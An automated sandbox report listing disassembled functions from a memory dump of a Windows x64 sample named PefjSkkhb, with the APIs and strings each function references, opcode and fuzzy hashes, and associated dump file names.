Opcode ID: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
Instruction ID: 042acfd61895f3e77b6ed8ef7ece32641cdb6c434ed9b51c6f8c1b595bd97e44
Opcode Fuzzy Hash: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
Instruction Fuzzy Hash: B1012136E0CA4ADAF775AF11A99437C2772FF46BD5F1842B4C59D862A4CF7DA084A300

Function 00007FF697BBB5D4 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 00007FF697BBB5F0
GetCurrentThreadId.KERNEL32 ref: 00007FF697BBB5F8
GetWindowThreadProcessId.USER32 ref: 00007FF697BBB608
GetCurrentThreadId.KERNEL32 ref: 00007FF697BBB610
AttachThreadInput.USER32 ref: 00007FF697BBB61D

Part of subcall function 00007FF697BBCF30: SendMessageTimeoutW.USER32 ref: 00007FF697BBCF56

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
Instruction ID: 6faf579cfc6ad8b142e880f8ae87f0db3975a0ed11bebd869aabcbefe64f65b5
Opcode Fuzzy Hash: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
Instruction Fuzzy Hash: 05F03038F1860243FB742F7268982755391EF4EBC1F8450B0CD0BC2259ED7DA8995650

Function 00007FF697BB03F8 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 00007FF697BB0414
GetCurrentThreadId.KERNEL32 ref: 00007FF697BB041C
GetWindowThreadProcessId.USER32 ref: 00007FF697BB042C
GetCurrentThreadId.KERNEL32 ref: 00007FF697BB0434
AttachThreadInput.USER32(?,?,?,00007FF697BAE921), ref: 00007FF697BB0441

Part of subcall function 00007FF697BB07A4: SendMessageTimeoutW.USER32 ref: 00007FF697BB07CA

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
Instruction ID: 0143e6cb69b84200002286df64fc2901a3ba409c3881948d6098edc71f377318
Opcode Fuzzy Hash: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
Instruction Fuzzy Hash: 7AF0C038F1861283FB742FB668896791791EF8ABC1F8450B0CD0AC2259DD3DA4999650

Function 00007FF697B80040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 205COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B802E4

Strings

ccs, xrefs: 00007FF697B80229
UTF-16LEUNICODE, xrefs: 00007FF697B8028B
UTF-8, xrefs: 00007FF697B80268

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
Instruction ID: f12a9ff2e069f4eb8e8dc4d7fe9a87b5a017623ca941386ee9b7ca546bef4c76
Opcode Fuzzy Hash: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
Instruction Fuzzy Hash: 7B819D72E0820386FB746F2596502BD26A0EF237D4F5480B5EE1ED3698EF6DE950D301

Function 00007FF697B6B1E8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B6B211
_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B6B3EE

Strings

*, xrefs: 00007FF697B6B322
, xrefs: 00007FF697B6B377

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
Instruction ID: 7de5f7d89a67120f02acaeaed68e7b2dc0c9bc598d5e13aa29b599a176d828d6
Opcode Fuzzy Hash: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
Instruction Fuzzy Hash: 46615372A1CA8286E7798F24806537E3BB1FB47BA8F3411B5C74A8559DEF28E641C701

Function 00007FF697B76148 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF697B76202

Strings

!, xrefs: 00007FF697B76237
acos, xrefs: 00007FF697B76215

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _set_statfp
String ID: !$acos
API String ID: 1156100317-2870037509
Opcode ID: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
Instruction ID: fb8e9502f0d031cc1a1f3c7bf1f70daf5e44d6ea6fbe5b36da44885b1c7be539
Opcode Fuzzy Hash: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
Instruction Fuzzy Hash: 7861A035D28F45C8E2738F38981137A9764EFA77D4F118376E95EB5E68DF2CA0829600

Function 00007FF697B76408 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF697B764BA

Strings

asin, xrefs: 00007FF697B764CD
!, xrefs: 00007FF697B764EF

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _set_statfp
String ID: !$asin
API String ID: 1156100317-2188059690
Opcode ID: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
Instruction ID: a9c9f763446910d5b94a5ca2299b47504721d2a5de821f103a8bb80a9da4573a
Opcode Fuzzy Hash: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
Instruction Fuzzy Hash: 1061A436D28F8589E663CF3498113769764FFA73D4F108372E95EB5A69DF2CE0829600

Function 00007FF697BBA6BC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF697BBA74D
DeleteMenu.USER32 ref: 00007FF697BBA799
DeleteMenu.USER32(?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF697BBA7E6

Strings

P, xrefs: 00007FF697BBA722

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: P
API String ID: 135850232-3110715001
Opcode ID: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
Instruction ID: 8594bcafa5ccefa3f4f45af0689876903d7d8b8039d5da95cc9d686aa4e46483
Opcode Fuzzy Hash: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
Instruction Fuzzy Hash: 8E41A132E08A8181EB70DF15C4853A96761EB86FE0F168271EE6D877D9DF38E542C700

Function 00007FF697BEB454 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF697BEB556
GetWindowLongW.USER32 ref: 00007FF697BEB57B
SetWindowLongPtrW.USER32 ref: 00007FF697BEB58E

Strings

SysTreeView32, xrefs: 00007FF697BEB512

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction ID: 4172a067a5c27893f5cc2fa5de006d28aff5f20fd18ae4c5ead9b7884511729d
Opcode Fuzzy Hash: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction Fuzzy Hash: 59416D32A097828AE7709F18E444BAA77A1FB857A0F144375DAA843B99DF3CD845CF40

Function 00007FF697BEB798 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B4932C: CreateWindowExW.USER32 ref: 00007FF697B493BC
Part of subcall function 00007FF697B4932C: GetStockObject.GDI32 ref: 00007FF697B493D9
Part of subcall function 00007FF697B4932C: SendMessageW.USER32 ref: 00007FF697B493EC

SendMessageW.USER32 ref: 00007FF697BEB8B1
SendMessageW.USER32 ref: 00007FF697BEB8C9
DestroyWindow.USER32 ref: 00007FF697BEB8D6

Strings

msctls_updown32, xrefs: 00007FF697BEB7E3

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyObjectStock
String ID: msctls_updown32
API String ID: 1752125012-2298589950
Opcode ID: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
Instruction ID: 2b664783fe465b634f74d19ced8861c36a83fe3fa940880db1508788fc76eede
Opcode Fuzzy Hash: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
Instruction Fuzzy Hash: 88319A36A18B8596EB60CF15E4547AA73A1FBC6BD1F1081B6DA8D83B98CF3CD445CB40

Function 00007FF697BEA1F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B4932C: CreateWindowExW.USER32 ref: 00007FF697B493BC
Part of subcall function 00007FF697B4932C: GetStockObject.GDI32 ref: 00007FF697B493D9
Part of subcall function 00007FF697B4932C: SendMessageW.USER32 ref: 00007FF697B493EC

SendMessageW.USER32 ref: 00007FF697BEA2E4
SendMessageW.USER32 ref: 00007FF697BEA2F8
MoveWindow.USER32 ref: 00007FF697BEA328

Strings

Listbox, xrefs: 00007FF697BEA23D

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Window$CreateMoveObjectStock
String ID: Listbox
API String ID: 3747482310-2633736733
Opcode ID: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
Instruction ID: 4c3cd982253f62d3dcf43a7eae290be0c9c0e27309e26da6190b00b3b6f80f23
Opcode Fuzzy Hash: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
Instruction Fuzzy Hash: 083147366096C186E770CF16B444B5AB7A5FB89BE0F508265EAA903B99CF3DD481CB00

Function 00007FF697BEB104 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B4932C: CreateWindowExW.USER32 ref: 00007FF697B493BC
Part of subcall function 00007FF697B4932C: GetStockObject.GDI32 ref: 00007FF697B493D9
Part of subcall function 00007FF697B4932C: SendMessageW.USER32 ref: 00007FF697B493EC

SendMessageW.USER32 ref: 00007FF697BEB1BE
SendMessageW.USER32 ref: 00007FF697BEB1DA
SendMessageW.USER32 ref: 00007FF697BEB1EF

Strings

msctls_trackbar32, xrefs: 00007FF697BEB14B

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: msctls_trackbar32
API String ID: 1025951953-1010561917
Opcode ID: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
Instruction ID: 88b3b15ac33d3e2ecee091116597a7fd876e6c9d5de836a1ba422b1c49061aef
Opcode Fuzzy Hash: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
Instruction Fuzzy Hash: 0D313836A18685CBE7708F15E454B6AB7A1FB89B90F1042B5EB9843B58CF3CD841CB04

Function 00007FF697BAF5CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BAF378: SendMessageTimeoutW.USER32 ref: 00007FF697BAF3A8
Part of subcall function 00007FF697BAF378: GetWindowThreadProcessId.USER32 ref: 00007FF697BAF3B8
Part of subcall function 00007FF697BAF378: GetCurrentThreadId.KERNEL32 ref: 00007FF697BAF3C0
Part of subcall function 00007FF697BAF378: AttachThreadInput.USER32 ref: 00007FF697BAF3E5

GetFocus.USER32 ref: 00007FF697BAF605

Part of subcall function 00007FF697BAF3F4: GetParent.USER32 ref: 00007FF697BAF407

GetClassNameW.USER32 ref: 00007FF697BAF656
EnumChildWindows.USER32 ref: 00007FF697BAF684

Part of subcall function 00007FF697BAF378: GetWindowThreadProcessId.USER32 ref: 00007FF697BAF3D0
Part of subcall function 00007FF697BAF378: GetCurrentThreadId.KERNEL32 ref: 00007FF697BAF3D8

Strings

%s%d, xrefs: 00007FF697BAF691

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachChildClassEnumFocusInputMessageNameParentSendTimeoutWindows
String ID: %s%d
API String ID: 2330185562-1110647743
Opcode ID: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
Instruction ID: c312ad747384ac869dcbc10f2cb45721bf114ab8aeabc3061d889bcff2aebf4d
Opcode Fuzzy Hash: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
Instruction Fuzzy Hash: E4217335B08B8295EA38EF16E4442FA63A1EF86BD0F444071DF9D87B5ADE2CE105C740

Function 00007FF697B68782 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B67130: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00007FF697B67134

__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF697B687AA
RaiseException.KERNEL32 ref: 00007FF697B687D3
__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF697B68834

Strings

csm, xrefs: 00007FF697B68807

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
Instruction ID: 1554a9a57378c4d1d648a076c6971c398d2189c406ee4d3bdcb7bd86f4a61fc5
Opcode Fuzzy Hash: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
Instruction Fuzzy Hash: B6212B76608641C7E6309F52E44426E77A1FB86BB4F000266DF9D43799CF3DE986CB04

Function 00007FF697BDAF20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF697BA2DD1), ref: 00007FF697BDAF37
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF697BA2DD1), ref: 00007FF697BDAF4F

Strings

GetSystemWow64DirectoryW, xrefs: 00007FF697BDAF45
kernel32.dll, xrefs: 00007FF697BDAF30

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction ID: 5e906c6307823390e8dcd6a7efcf1bdbb2b220309151833b882a950c486f9b16
Opcode Fuzzy Hash: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction Fuzzy Hash: 4DF0F875A05B0581EF289F14E84436423A4EB09F89F8404B6C91D82368EF7CD9689300

Function 00007FF697BE10C8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF697BDFCA6), ref: 00007FF697BE10DF
GetProcAddress.KERNEL32(?,?,?,00007FF697BDFCA6), ref: 00007FF697BE10F7

Strings

RegDeleteKeyExW, xrefs: 00007FF697BE10ED
advapi32.dll, xrefs: 00007FF697BE10D8

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
Instruction ID: 293171b3fee08f34ac79e5d143d43ae6dc6bfdc5c5eb8bcc8ab8de8de8de11e9
Opcode Fuzzy Hash: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
Instruction Fuzzy Hash: B3E0ED35A05F0AC5EF249F14E42537863A4EF09B95F5404B5C91EC6354EF7CD5A5C340

Function 00007FF697BB32F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF697BB330B
GetProcAddress.KERNEL32 ref: 00007FF697BB3323

Strings

GetNativeSystemInfo, xrefs: 00007FF697BB3319
kernel32.dll, xrefs: 00007FF697BB3304

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction ID: e135b6869bb27115b89a0993409fd332148c017e9e66aa00ed01df00ef9da97b
Opcode Fuzzy Hash: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction Fuzzy Hash: 41E0ED75905F0682EF24AF14E85436423E0FF09B88F840475C91D86358EFBCE5A8C340

Function 00007FF697BAB7E4 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

